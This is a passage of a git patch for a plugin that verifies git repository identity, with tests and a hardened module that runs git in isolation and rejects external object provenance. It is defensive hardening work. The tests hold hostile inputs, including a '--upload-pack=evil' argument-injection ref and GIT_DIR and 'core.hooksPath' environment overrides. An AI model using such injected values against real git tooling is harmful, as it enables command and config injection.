})); + assert.equal(unreachableResult.status, 'failed'); + assert.equal(discrepancyIds(unreachableResult).includes('unreachable-head'), true); + assert.equal(unreachableResult.observation.ancestor, false); + + const diverged = await createWrongMergeBaseRepo(); + t.after(() => diverged.cleanup()); + const divergedResult = await verifyGitIdentityV1(validRequest({ + path: diverged.path, base_sha: diverged.baseSha, head_sha: diverged.headSha, + })); + assert.equal(divergedResult.status, 'failed'); + const ids = discrepancyIds(divergedResult); + assert.equal(ids.includes('wrong-merge-base'), true); + assert.equal(ids.includes('unreachable-head'), true); + assert.notEqual(divergedResult.observation.merge_base_sha, diverged.baseSha); + parseEvidenceDiscrepancyV1(divergedResult.discrepancies[0]); +}); diff --git a/plugins/codex-co-engineer/test/r1-git-identity.test.mjs b/plugins/codex-co-engineer/test/r1-git-identity.test.mjs new file mode 100644 index 0000000..efb5199 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-git-identity.test.mjs @@ -0,0 +1,250 @@ +import assert from 'node:assert/strict'; +import { spawn as nodeSpawn } from 'node:child_process'; +import test from 'node:test'; + +import { + parseEvidenceDiscrepancyV1, + parseVerifiedFactV1, +} from '../mcp/v3/evidence-bundle.mjs'; +import { + GIT_CLOSED_ENV, + GIT_EXECUTABLE, + GIT_IDENTITY_ERROR_CODES, + GIT_IDENTITY_SCHEMA_ID, + GIT_IDENTITY_VERSION, + MAX_GIT_OUTPUT_BYTES, + parseGitIdentityRequestV1, + verifyGitIdentityV1, +} from '../mcp/v3/git-identity.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + ASSIGNMENT_ID, + BASE_REF, + RUN_ID, + createLinearRepo, + createMissingRepoPath, + createNonGitDirectory, + validRequest, +} from './fixtures/r1-git-identity-fixtures.mjs'; + +function errorOf(action, expectedPath) { + return Promise.resolve() + .then(() => action()) + .then( + () => assert.fail('expected a typed RunContractV1Error'), + (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + }, + ); +} + +test('schema identity is additive v1 and does not claim later-wave ownership', () => { + assert.equal(GIT_IDENTITY_SCHEMA_ID, 'codex-co-engineer.git-identity.v1'); + assert.equal(GIT_IDENTITY_VERSION, 1); + assert.equal(GIT_EXECUTABLE, '/usr/bin/git'); + assert.equal(Object.isFrozen(GIT_IDENTITY_ERROR_CODES), true); + assert.equal(GIT_IDENTITY_SCHEMA_ID.includes('4.0.0'), false); +}); + +test('a valid request parses into a frozen detached snapshot', () => { + const input = validRequest({ + path: '/tmp/cce-r1-git-identity-repo', + base_sha: 'a'.repeat(40), + head_sha: 'b'.repeat(40), + }); + const snapshot = parseGitIdentityRequestV1(input); + assert.equal(Object.isFrozen(snapshot), true); + assert.equal(Object.isFrozen(snapshot.repository), true); + assert.equal(snapshot.expected_base_ref, BASE_REF); + assert.equal(snapshot.run_id, RUN_ID); + assert.equal(snapshot.assignment_id, ASSIGNMENT_ID); + input.expected_base_ref = 'refs/heads/other'; + input.repository.base_sha = 'c'.repeat(40); + assert.equal(snapshot.expected_base_ref, BASE_REF); + assert.equal(snapshot.repository.base_sha, 'a'.repeat(40)); +}); + +test('required keys, extra keys, and hostile base refs fail closed', async () => { + const base = validRequest({ + path: '/tmp/cce-r1-git-identity-repo', + base_sha: 'a'.repeat(40), + head_sha: 'b'.repeat(40), + }); + assert.equal( + (await errorOf(() => parseGitIdentityRequestV1({ ...base, extra: true }))).code, + 'unknown_key', + ); + const missing = { ...base }; + delete missing.candidate_head_sha; + assert.equal( + (await errorOf(() => parseGitIdentityRequestV1(missing), 'git_identity.candidate_head_sha')).code, + 'missing_key', + ); + for (const name of [ + 'HEAD', 'refs/heads/HEAD', '-n', '--upload-pack=evil', 'refs/replace/x', + 'refs/heads/foo..bar', 'refs/heads/foo.lock', 'refs/heads/@{u}', + 'main', 'refs/tags/v1', 'refs/heads/foo^2', 'refs/heads/foo:path', + ]) { + const error = await errorOf(() => parseGitIdentityRequestV1({ + ...base, expected_base_ref: name, + }), 'git_identity.expected_base_ref'); + assert.ok( + error.code === 'hostile_name_denied' || error.code === 'invalid_format', + name, + ); + assert.equal(error.message.includes(name), false, name); + } +}); + +test('a linear descendant verifies independently into P13 git facts', async (t) => { + const repo = await createLinearRepo(); + t.after(() => repo.cleanup()); + const result = await verifyGitIdentityV1(validRequest({ + path: repo.path, + base_sha: repo.baseSha, + head_sha: repo.headSha, + })); + assert.equal(result.schema, GIT_IDENTITY_SCHEMA_ID); + assert.equal(result.status, 'verified'); + assert.equal(result.discrepancies.length, 0); + assert.equal(result.facts.length, 2); + assert.equal(result.observation.base_sha, repo.baseSha); + assert.equal(result.observation.head_sha, repo.headSha); + assert.equal(result.observation.merge_base_sha, repo.baseSha); + assert.equal(result.observation.ancestor, true); + assert.equal(result.observation.base_object_type, 'commit'); + assert.equal(result.observation.head_object_type, 'commit'); + assert.equal(result.facts[0].fact_kind, 'git_identity'); + assert.equal(result.facts[0].status, 'verified'); + assert.equal(result.facts[0].authority, 'platform_git'); + assert.equal(result.facts[0].method, 'ancestry_check'); + assert.equal(result.facts[0].payload.base_sha, repo.baseSha); + assert.equal(result.facts[0].payload.head_sha, repo.headSha); + assert.equal(result.facts[1].fact_kind, 'head_sha'); + assert.equal(result.facts[1].payload.sha, repo.headSha); + assert.deepEqual(parseVerifiedFactV1({ ...result.facts[0] }).payload, result.facts[0].payload); + assert.equal(Object.isFrozen(result), true); + assert.equal(Object.isFrozen(result.facts), true); + assert.equal(Object.isFrozen(result.observation), true); +}); + +test('missing and non-git repositories fail closed without echoing paths', async (t) => { + const missing = await createMissingRepoPath(); + t.after(() => missing.cleanup()); + const missingError = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: missing.path, + base_sha: missing.baseSha, + head_sha: missing.headSha, + }))); + assert.equal(missingError.code, 'repository_missing'); + assert.equal(missingError.message.includes(missing.path), false); + + const nongit = await createNonGitDirectory(); + t.after(() => nongit.cleanup()); + const invalid = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: nongit.path, + base_sha: nongit.baseSha, + head_sha: nongit.headSha, + }))); + assert.equal(invalid.code, 'repository_invalid'); + assert.equal(invalid.message.includes(nongit.path), false); +}); + +test('git runs as argv without shell and with a closed environment', async (t) => { + const repo = await createLinearRepo(); + t.after(() => repo.cleanup()); + const calls = []; + const previousGitDir = process.env.GIT_DIR; + const previousConfig = process.env.GIT_CONFIG_PARAMETERS; + process.env.GIT_DIR = '/tmp/hostile-git-dir'; + process.env.GIT_CONFIG_PARAMETERS = "'core.hooksPath=/tmp/hooks'"; + try { + const result = await verifyGitIdentityV1(validRequest({ + path: repo.path, + base_sha: repo.baseSha, + head_sha: repo.headSha, + }), { + spawn(command, args, options) { + calls.push({ command, args, options }); + return nodeSpawn(command, args, options); + }, + }); + assert.equal(result.status, 'verified'); + } finally { + if (previousGitDir === undefined) delete process.env.GIT_DIR; + else process.env.GIT_DIR = previousGitDir; + if (previousConfig === undefined) delete process.env.GIT_CONFIG_PARAMETERS; + else process.env.GIT_CONFIG_PARAMETERS = previousConfig; + } + assert.ok(calls.length > 0); + for (const call of calls) { + assert.equal(call.command, GIT_EXECUTABLE); + assert.equal(call.options.cwd, '/'); + assert.equal(call.options.env, GIT_CLOSED_ENV); + assert.equal(Object.hasOwn(call.options.env, 'GIT_DIR'), false); + assert.equal(Object.hasOwn(call.options.env, 'GIT_CONFIG_PARAMETERS'), false); + assert.equal(call.options.shell, undefined); + assert.equal(Array.isArray(call.args), true); + assert.equal(call.args.some((arg) => arg.includes('&&') || arg.includes('|') || arg.includes(';')), false); + } +}); + +test('independent repositories verify concurrently without sharing observation', async (t) => { + const left = await createLinearRepo(); + const right = await createLinearRepo(); + t.after(() => Promise.all([left.cleanup(), right.cleanup()])); + const [leftResult, rightResult] = await Promise.all([ + verifyGitIdentityV1(validRequest({ + path: left.path, base_sha: left.baseSha, head_sha: left.headSha, + })), + verifyGitIdentityV1(validRequest({ + path: right.path, base_sha: right.baseSha, head_sha: right.headSha, + })), + ]); + assert.equal(leftResult.status, 'verified'); + assert.equal(rightResult.status, 'verified'); + assert.equal(leftResult.observation.repository_path, left.path); + assert.equal(rightResult.observation.repository_path, right.path); + assert.notEqual(left.baseSha, right.baseSha); + assert.notEqual(leftResult.facts[0].payload.base_sha, rightResult.facts[0].payload.base_sha); +}); + +test('output bounds kill hostile git writers without reflecting content', async (t) => { + const repo = await createLinearRepo(); + t.after(() => repo.cleanup()); + const error = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: repo.path, + base_sha: repo.baseSha, + head_sha: repo.headSha, + }), { + spawn() { + return nodeSpawn('/usr/bin/yes', ['x'.repeat(64)], { + cwd: '/', + env: GIT_CLOSED_ENV, + stdio: ['ignore', 'pipe', 'pipe'], + }); + }, + })); + assert.equal(error.code, 'bounds_exceeded'); + assert.equal(error.message.includes('x'.repeat(16)), false); + assert.ok(MAX_GIT_OUTPUT_BYTES > 0); +}); + +test('verified facts stay EvidenceBundle-compatible without proof artifacts', async (t) => { + const repo = await createLinearRepo(); + t.after(() => repo.cleanup()); + const result = await verifyGitIdentityV1(validRequest({ + path: repo.path, + base_sha: repo.baseSha, + head_sha: repo.headSha, + })); + const identity = parseVerifiedFactV1(result.facts[0]); + const head = parseVerifiedFactV1(result.facts[1]); + assert.equal(identity.fact_kind, 'git_identity'); + assert.equal(head.fact_kind, 'head_sha'); + assert.equal(identity.artifact_digests.length, 0); + assert.equal(result.discrepancies.length, 0); + assert.equal(typeof parseEvidenceDiscrepancyV1, 'function'); +}); From 43732b46970dacd7967c0712d7cefe1a98ad76ca Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 08:48:51 +0000 Subject: [PATCH 074/151] fix(verify): close hostile Git provenance boundaries --- .../codex-co-engineer/mcp/v3/git-identity.mjs | 625 +++++++++++++++--- .../fixtures/r1-git-identity-fixtures.mjs | 202 +++++- .../test/r1-git-identity-adversarial.test.mjs | 570 ++++++++++++++++ .../test/r1-git-identity.test.mjs | 16 + 4 files changed, 1333 insertions(+), 80 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/git-identity.mjs b/plugins/codex-co-engineer/mcp/v3/git-identity.mjs index df6ce02..8458757 100644 --- a/plugins/codex-co-engineer/mcp/v3/git-identity.mjs +++ b/plugins/codex-co-engineer/mcp/v3/git-identity.mjs @@ -14,13 +14,21 @@ // Observation is fail-closed: spawn is argv-only (no shell), the child // environment is a closed map that cannot inherit GIT_* / config / replace / // graft influence, output/time/command counts are bounded, and typed errors -// never echo hostile bytes. +// never echo hostile bytes. Effective local, worktree, include, and includeIf +// config is observed through Git-native listing before ref/object/ancestry +// reads and again before a verified result is returned. import { Buffer as NodeBuffer } from 'node:buffer'; import { spawn as nodeSpawn } from 'node:child_process'; import { createHash } from 'node:crypto'; -import { lstat as nodeLstat, realpath as nodeRealpath } from 'node:fs/promises'; +import { + lstat as nodeLstat, + readdir as nodeReaddir, + readFile as nodeReadFile, + realpath as nodeRealpath, +} from 'node:fs/promises'; import path from 'node:path'; +import { types as utilTypes } from 'node:util'; import { parseEvidenceDiscrepancyV1, @@ -29,14 +37,15 @@ import { MAX_SEQUENCE, } from './evidence-bundle.mjs'; import { + capturedDescriptor, capturedFreeze, capturedHasOwn, + capturedOwnKeys, capturedUtf8ByteLength, } from './grammar.mjs'; import { canonicalJsonStringify } from './identity.mjs'; import { RunContractV1Error, - assertAllowedKeys, assertBaseSha, assertRepositoryPath, assertRunId, @@ -108,27 +117,43 @@ const OBJECT_FREEZE = Object.freeze; const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; const MATH_FLOOR = Math.floor; const MATH_MAX = Math.max; +const MATH_MIN = Math.min; const ARRAY_IS_ARRAY = Array.isArray; const ARRAY_PUSH = Array.prototype.push; const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); const BUFFER_CONCAT = NodeBuffer.concat.bind(NodeBuffer); const BUFFER_BYTE_LENGTH = NodeBuffer.byteLength; +const BUFFER_IS_BUFFER = NodeBuffer.isBuffer.bind(NodeBuffer); const CRYPTO_CREATE_HASH = createHash; const HASH_PROTOTYPE = Object.getPrototypeOf(CRYPTO_CREATE_HASH('sha256')); const HASH_UPDATE = HASH_PROTOTYPE.update; const HASH_DIGEST = HASH_PROTOTYPE.digest; const PATH_IS_ABSOLUTE = path.isAbsolute; +const PATH_JOIN = path.join; const PATH_RESOLVE = path.resolve; const SPAWN = nodeSpawn; const LSTAT = nodeLstat; +const READDIR = nodeReaddir; +const READFILE = nodeReadFile; const REALPATH = nodeRealpath; const REFLECT_APPLY = Reflect.apply; +const IS_PROXY = utilTypes.isProxy; +const MAX_LAYOUT_FILE_BYTES = 4096; +const MAX_CONFIG_FILE_BYTES = 65_536; +const PROVENANCE_CONFIG_PATTERN = /(?:^|\n)[ \t]*(?:promisor|partialclonefilter|partialclone)[ \t]*=/u; +const EFFECTIVE_PROVENANCE_KEY_PATTERN = + /^(?:extensions\.partialclone|remote\..+\.(?:promisor|partialclonefilter))$/iu; +const EFFECTIVE_CONFIG_LIST_ARGS = capturedFreeze([ + 'config', '--includes', '--show-origin', '--show-scope', '--list', '-z', +]); const CLOSED_GIT_ENV = capturedFreeze({ PATH: '/usr/bin:/bin', GIT_CONFIG_NOSYSTEM: '1', GIT_CONFIG_GLOBAL: '/dev/null', GIT_CONFIG_SYSTEM: '/dev/null', + GIT_ALLOW_PROTOCOL: '', + GIT_PROTOCOL_FROM_USER: '0', GIT_TERMINAL_PROMPT: '0', GIT_OPTIONAL_LOCKS: '0', GIT_PAGER: 'cat', @@ -160,6 +185,381 @@ const FORBIDDEN_ENV_KEYS = capturedFreeze([ export const GIT_CLOSED_ENV = CLOSED_GIT_ENV; +function contractError(code, path, message) { + return new RunContractV1Error(code, path, message); +} + +function asContractError(error, path, code = 'git_execution_failed') { + if (error instanceof RunContractV1Error) return error; + return contractError(code, path, `${path} could not complete a git observation.`); +} + +function isSymlinkStat(metadata) { + return typeof metadata?.isSymbolicLink === 'function' && metadata.isSymbolicLink(); +} + +function assertOwnedHandle(value, path) { + if (value === null || (typeof value !== 'object' && typeof value !== 'function')) { + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } + try { + if (IS_PROXY(value)) { + fail('proxy_denied', path, + `${path} is a live or revoked Proxy; git observation accepts owned process handles only.`); + } + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } +} + +function readHandleField(handle, key, path) { + assertOwnedHandle(handle, path); + let value; + try { + value = handle[key]; + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } + if (value !== null && value !== undefined + && (typeof value === 'object' || typeof value === 'function')) { + assertOwnedHandle(value, path); + } + return value; +} + +function invokeHandle(handle, key, args, path) { + const method = readHandleField(handle, key, path); + if (typeof method !== 'function') { + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } + try { + return REFLECT_APPLY(method, handle, args); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } +} + +function ownedChunk(chunk, path) { + try { + if (typeof chunk === 'string') return BUFFER_FROM(chunk, 'utf8'); + if (BUFFER_IS_BUFFER(chunk)) return BUFFER_FROM(chunk); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + } + fail('git_execution_failed', path, `${path} could not complete a git observation.`); +} + +function assertClosedKeySet(input, allowedKeys, path) { + let ownKeys; + try { + ownKeys = capturedOwnKeys(input); + } catch { + fail('invalid_type', path, `${path} keys could not be inspected safely.`); + } + for (let index = 0; index < ownKeys.length; index += 1) { + const key = ownKeys[index]; + if (typeof key === 'symbol') { + fail('symbol_key_denied', path, + `${path} carries a symbol property; git identity records are direct JSON only.`); + } + let allowed = false; + for (let allowedIndex = 0; allowedIndex < allowedKeys.length; allowedIndex += 1) { + if (allowedKeys[allowedIndex] === key) { + allowed = true; + break; + } + } + if (!allowed) { + fail('unknown_key', path, `${path} carries a key outside the closed vocabulary.`); + } + } +} + +function assertNestedClosedKeys(input, key, allowedKeys, path) { + const descriptor = capturedDescriptor(input, key); + if (descriptor === undefined) return; + if (descriptor.get !== undefined || descriptor.set !== undefined) return; + const value = descriptor.value; + if (value === null || typeof value !== 'object' || ARRAY_IS_ARRAY(value)) return; + try { + if (IS_PROXY(value)) return; + } catch { + return; + } + assertClosedKeySet(value, allowedKeys, `${path}.${key}`); +} + +async function lstatOrNull(target) { + try { + return await LSTAT(target); + } catch { + return null; + } +} + +function oneLayoutLine(text, path, code) { + if (typeof text !== 'string') { + fail(code, path, `${path} is not a trusted git layout.`); + } + let value = text; + if (value.endsWith('\n')) value = value.slice(0, -1); + if (value.endsWith('\r')) value = value.slice(0, -1); + if (value.includes('\n') || value.includes('\r') || value.includes('\0')) { + fail(code, path, `${path} is not a trusted git layout.`); + } + return value; +} + +function resolveLayoutPath(raw, fromDir, path, code) { + if (typeof raw !== 'string' || raw.length === 0 || raw.includes('\0')) { + fail(code, path, `${path} is not a trusted git layout.`); + } + const resolved = PATH_IS_ABSOLUTE(raw) ? PATH_RESOLVE(raw) : PATH_RESOLVE(fromDir, raw); + if (!PATH_IS_ABSOLUTE(resolved) || PATH_RESOLVE(resolved) !== resolved) { + fail(code, path, `${path} is not a trusted git layout.`); + } + return resolved; +} + +function isDirectChildPath(parent, child) { + const prefix = parent.endsWith('/') ? parent : `${parent}/`; + if (!child.startsWith(prefix)) return false; + const rest = child.slice(prefix.length); + return rest.length > 0 && !rest.includes('/') && rest !== '.' && rest !== '..'; +} + +async function readBoundedUtf8(target, maxBytes, path, code) { + const metadata = await lstatOrNull(target); + if (metadata === null) return null; + if (isSymlinkStat(metadata) || typeof metadata.isFile !== 'function' || !metadata.isFile()) { + fail(code, path, `${path} is not a trusted git layout.`); + } + if (typeof metadata.size === 'number' && metadata.size > maxBytes) { + fail(code, path, `${path} is not a trusted git layout.`); + } + let text; + try { + text = await READFILE(target, { encoding: 'utf8' }); + } catch { + fail(code, path, `${path} is not a trusted git layout.`); + } + if (typeof text !== 'string' || BUFFER_BYTE_LENGTH(text) > maxBytes) { + fail(code, path, `${path} is not a trusted git layout.`); + } + return text; +} + +async function realpathOf(target, path, code) { + try { + return await REALPATH(target); + } catch { + fail(code, path, `${path} is not a trusted git layout.`); + } +} + +async function assertDirectoryNotSymlink(target, path, code) { + let metadata; + try { + metadata = await LSTAT(target); + } catch { + fail(code, path, `${path} is not a trusted git layout.`); + } + if (isSymlinkStat(metadata) || typeof metadata.isDirectory !== 'function' || !metadata.isDirectory()) { + fail(code, path, `${path} is not a trusted git layout.`); + } + return realpathOf(target, path, code); +} + +async function assertNoExternalObjectProvenance(gitCommonDir, path) { + await assertDirectoryNotSymlink( + PATH_JOIN(gitCommonDir, 'objects'), path, 'config_influence_denied', + ); + const infoDir = PATH_JOIN(gitCommonDir, 'objects', 'info'); + const alternateNames = ['alternates', 'http-alternates']; + for (let index = 0; index < alternateNames.length; index += 1) { + const target = PATH_JOIN(infoDir, alternateNames[index]); + if (await lstatOrNull(target) !== null) { + fail('config_influence_denied', path, + `${path} must not observe external object provenance.`); + } + } + const packDir = PATH_JOIN(gitCommonDir, 'objects', 'pack'); + const packMeta = await lstatOrNull(packDir); + if (packMeta !== null) { + if (isSymlinkStat(packMeta) + || typeof packMeta.isDirectory !== 'function' + || !packMeta.isDirectory()) { + fail('config_influence_denied', path, + `${path} must not observe external object provenance.`); + } + let names; + try { + names = await READDIR(packDir); + } catch { + fail('config_influence_denied', path, + `${path} must not observe external object provenance.`); + } + for (let index = 0; index < names.length; index += 1) { + const name = names[index]; + if (typeof name === 'string' && name.endsWith('.promisor')) { + fail('config_influence_denied', path, + `${path} must not observe external object provenance.`); + } + } + } + const configText = await readBoundedUtf8( + PATH_JOIN(gitCommonDir, 'config'), MAX_CONFIG_FILE_BYTES, path, 'config_influence_denied', + ); + if (configText !== null && PROVENANCE_CONFIG_PATTERN.test(configText)) { + fail('config_influence_denied', path, + `${path} must not observe external object provenance.`); + } +} + +function denyExternalObjectProvenance(path) { + fail('config_influence_denied', path, + `${path} must not observe external object provenance.`); +} + +function isProhibitedEffectiveConfigKey(key) { + if (typeof key !== 'string' || key.length === 0) return false; + EFFECTIVE_PROVENANCE_KEY_PATTERN.lastIndex = 0; + return EFFECTIVE_PROVENANCE_KEY_PATTERN.test(key); +} + +function assertNoProhibitedEffectiveConfig(stdout, path) { + if (typeof stdout !== 'string') denyExternalObjectProvenance(path); + if (stdout.length === 0) return; + const fields = stdout.split('\0'); + let limit = fields.length; + if (limit > 0 && fields[limit - 1] === '') limit -= 1; + if (limit % 3 !== 0) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + for (let index = 0; index < limit; index += 3) { + const record = fields[index + 2]; + if (typeof record !== 'string' || record.length === 0) continue; + const newline = record.indexOf('\n'); + const key = newline === -1 ? record : record.slice(0, newline); + if (isProhibitedEffectiveConfigKey(key)) denyExternalObjectProvenance(path); + } +} + +async function assertNoEffectiveProvenanceConfig(session, flags, path) { + const result = await gitMaybe( + session, + [...flags, ...EFFECTIVE_CONFIG_LIST_ARGS], + `${path}.config`, + ); + if (result.exit_code !== 0) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + assertNoProhibitedEffectiveConfig(result.stdout, path); +} + +function parseGitFile(contents, worktreePath, path) { + const line = oneLayoutLine(contents, path, 'repository_invalid'); + if (line.length < 7 || line.slice(0, 7) !== 'gitdir:') { + fail('repository_invalid', path, `${path} is not a trusted git layout.`); + } + return resolveLayoutPath(line.slice(7).trim(), worktreePath, path, 'repository_invalid'); +} + +async function assertLinkedWorktree(repositoryPath, gitFilePath, observedGitDir, path) { + const gitFileText = await readBoundedUtf8( + gitFilePath, MAX_LAYOUT_FILE_BYTES, path, 'repository_invalid', + ); + if (gitFileText === null) { + fail('repository_invalid', path, `${path} is not a trusted git layout.`); + } + const declaredGitDir = parseGitFile(gitFileText, repositoryPath, path); + const declaredReal = await assertDirectoryNotSymlink( + declaredGitDir, path, 'repository_invalid', + ); + const observedReal = await realpathOf(observedGitDir, path, 'repository_invalid'); + if (declaredReal !== observedReal) { + fail('repository_invalid', path, `${path} is not a trusted git layout.`); + } + const commondirText = await readBoundedUtf8( + PATH_JOIN(declaredGitDir, 'commondir'), MAX_LAYOUT_FILE_BYTES, path, 'repository_invalid', + ); + if (commondirText === null) { + fail('repository_invalid', path, `${path} is not a trusted git layout.`); + } + const commonDir = await assertDirectoryNotSymlink( + resolveLayoutPath( + oneLayoutLine(commondirText, path, 'repository_invalid'), + declaredGitDir, path, 'repository_invalid', + ), + path, + 'repository_invalid', + ); + const worktreesRoot = await assertDirectoryNotSymlink( + PATH_JOIN(commonDir, 'worktrees'), path, 'repository_invalid', + ); + if (!isDirectChildPath(worktreesRoot, declaredReal)) { + fail('repository_invalid', path, `${path} is not a trusted git layout.`); + } + const backpointerText = await readBoundedUtf8( + PATH_JOIN(declaredGitDir, 'gitdir'), MAX_LAYOUT_FILE_BYTES, path, 'repository_invalid', + ); + if (backpointerText === null) { + fail('repository_invalid', path, `${path} is not a trusted git layout.`); + } + const backpointer = resolveLayoutPath( + oneLayoutLine(backpointerText, path, 'repository_invalid'), + declaredGitDir, path, 'repository_invalid', + ); + const expectedGitFile = PATH_JOIN(repositoryPath, '.git'); + let resolvedBack; + try { + resolvedBack = await REALPATH(backpointer); + } catch { + fail('repository_invalid', path, `${path} is not a trusted git layout.`); + } + let resolvedGitFile; + try { + resolvedGitFile = await REALPATH(expectedGitFile); + } catch { + fail('repository_invalid', path, `${path} is not a trusted git layout.`); + } + if (resolvedBack !== resolvedGitFile && resolvedBack !== repositoryPath) { + fail('repository_invalid', path, `${path} is not a trusted git layout.`); + } + await assertNoExternalObjectProvenance(commonDir, path); +} + +async function assertSafeRepositoryLayout(repositoryPath, observedGitDir, path) { + const gitFilePath = PATH_JOIN(repositoryPath, '.git'); + const layoutPath = `${path}.repository.path`; + let metadata; + try { + metadata = await LSTAT(gitFilePath); + } catch { + fail('repository_invalid', layoutPath, + `${layoutPath} is not a git worktree root.`); + } + if (isSymlinkStat(metadata)) { + fail('repository_invalid', layoutPath, `${layoutPath} is not a trusted git layout.`); + } + if (typeof metadata.isDirectory === 'function' && metadata.isDirectory()) { + const resolved = await realpathOf(gitFilePath, layoutPath, 'repository_invalid'); + const observedReal = await realpathOf(observedGitDir, layoutPath, 'repository_invalid'); + if (resolved !== observedReal) { + fail('repository_invalid', layoutPath, `${layoutPath} is not a trusted git layout.`); + } + await assertNoExternalObjectProvenance(gitFilePath, path); + return; + } + if (typeof metadata.isFile !== 'function' || !metadata.isFile()) { + fail('repository_invalid', layoutPath, `${layoutPath} is not a trusted git layout.`); + } + await assertLinkedWorktree(repositoryPath, gitFilePath, observedGitDir, path); +} + function freezeRecord(keys, values) { const snapshot = {}; for (let index = 0; index < keys.length; index += 1) { @@ -274,8 +674,7 @@ function assertBaseRefName(value, path) { function parseRepository(input, path) { const value = optOwn(input, 'repository'); assertPlainObject(value, 'invalid_type', path, path); - assertDirectJsonClosure(value, path); - assertAllowedKeys(value, GIT_IDENTITY_REPOSITORY_ALLOWED_KEYS, path); + assertClosedKeySet(value, GIT_IDENTITY_REPOSITORY_ALLOWED_KEYS, path); requiredKeys(value, GIT_IDENTITY_REPOSITORY_ALLOWED_KEYS, path); const repositoryPath = optOwn(value, 'path'); assertRepositoryPath(repositoryPath, `${path}.path`); @@ -299,8 +698,9 @@ function assertSequence(value, path) { export function parseGitIdentityRequestV1(input, path = 'git_identity') { assertPlainObject(input, 'invalid_type', path, `${path}`); + assertClosedKeySet(input, GIT_IDENTITY_REQUEST_ALLOWED_KEYS, path); + assertNestedClosedKeys(input, 'repository', GIT_IDENTITY_REPOSITORY_ALLOWED_KEYS, path); assertDirectJsonClosure(input, path); - assertAllowedKeys(input, GIT_IDENTITY_REQUEST_ALLOWED_KEYS, path); requiredKeys(input, GIT_IDENTITY_REQUEST_REQUIRED_KEYS, path); const repository = parseRepository(input, `${path}.repository`); const expectedBaseRef = assertBaseRefName( @@ -332,7 +732,7 @@ function parseOptions(options, path = 'options') { } assertNotProxy(options, path); assertPlainObject(options, 'invalid_type', path, path); - assertAllowedKeys(options, GIT_IDENTITY_OPTIONS_ALLOWED_KEYS, path); + assertClosedKeySet(options, GIT_IDENTITY_OPTIONS_ALLOWED_KEYS, path); let spawn = SPAWN; if (hasOwn(options, 'spawn')) { spawn = optOwn(options, 'spawn'); @@ -345,105 +745,156 @@ function parseOptions(options, path = 'options') { } function createSession(spawnFn) { + const startedAt = Date.now(); return { spawn: spawnFn, commands: 0, - startedAt: Date.now(), + startedAt, + deadlineAt: startedAt + MAX_GIT_TOTAL_TIME_MS, }; } +function assertDeadline(session, path) { + if (Date.now() >= session.deadlineAt) { + fail('bounds_exceeded', path, `${path} exceeds the git wall-clock cap.`); + } +} + +function remainingMs(session) { + const left = session.deadlineAt - Date.now(); + return left > 0 ? left : 0; +} + function assertSessionBounds(session, path) { if (session.commands >= MAX_GIT_COMMANDS) { fail('bounds_exceeded', path, `${path} exceeds the git command-count cap.`); } - const elapsed = Date.now() - session.startedAt; - if (elapsed > MAX_GIT_TOTAL_TIME_MS) { - fail('bounds_exceeded', path, `${path} exceeds the git wall-clock cap.`); - } + assertDeadline(session, path); +} + +function listenStream(stream, event, handler, path) { + if (stream === undefined || stream === null) return; + invokeHandle(stream, 'on', [event, handler], path); } function runGit(session, args, path) { assertGitArgv(args, `${path}.args`); assertSessionBounds(session, path); + const budget = remainingMs(session); + if (budget <= 0) { + fail('bounds_exceeded', path, `${path} exceeds the git wall-clock cap.`); + } session.commands += 1; const argv = [GIT_EXECUTABLE, ...GIT_ISOLATION_FLAGS, ...args]; assertGitArgv(argv, `${path}.argv`); + const spawnOptions = { + cwd: '/', + env: CLOSED_GIT_ENV, + stdio: ['ignore', 'pipe', 'pipe'], + windowsHide: true, + }; + assertClosedEnv(spawnOptions.env, `${path}.env`); return new Promise((resolve, reject) => { let child; try { - child = session.spawn(GIT_EXECUTABLE, argv.slice(1), { - cwd: '/', - env: CLOSED_GIT_ENV, - stdio: ['ignore', 'pipe', 'pipe'], - windowsHide: true, - }); + child = session.spawn(GIT_EXECUTABLE, argv.slice(1), spawnOptions); } catch (error) { - reject(new RunContractV1Error( + reject(contractError( 'git_execution_failed', path, `${path} could not start a git observation.`, )); return; } - if (child === null || typeof child !== 'object') { - reject(new RunContractV1Error( - 'git_execution_failed', path, `${path} could not start a git observation.`, - )); + try { + assertOwnedHandle(child, path); + } catch (error) { + reject(asContractError(error, path)); return; } - assertClosedEnv(CLOSED_GIT_ENV, `${path}.env`); const stdoutChunks = []; const stderrChunks = []; let stdoutBytes = 0; let stderrBytes = 0; let exceeded = false; let settled = false; + let timer; const finish = (error, result) => { if (settled) return; settled = true; clearTimeout(timer); - if (error) reject(error); + if (error) reject(asContractError(error, path)); else resolve(result); }; const exceed = () => { if (exceeded) return; exceeded = true; - try { child.kill('SIGKILL'); } catch { /* already exited */ } - finish(new RunContractV1Error( + try { invokeHandle(child, 'kill', ['SIGKILL'], path); } catch { /* already exited */ } + finish(contractError( 'bounds_exceeded', path, `${path} exceeded a closed git output or time bound.`, )); }; - const timer = setTimeout(exceed, MAX_GIT_TIME_MS); + timer = setTimeout(exceed, MATH_MIN(MAX_GIT_TIME_MS, budget)); const onChunk = (target, getSize, setSize) => (chunk) => { - const next = getSize() + chunk.length; - setSize(next); - if (next > MAX_GIT_OUTPUT_BYTES) { - exceed(); - return; + try { + const owned = ownedChunk(chunk, path); + const next = getSize() + owned.length; + 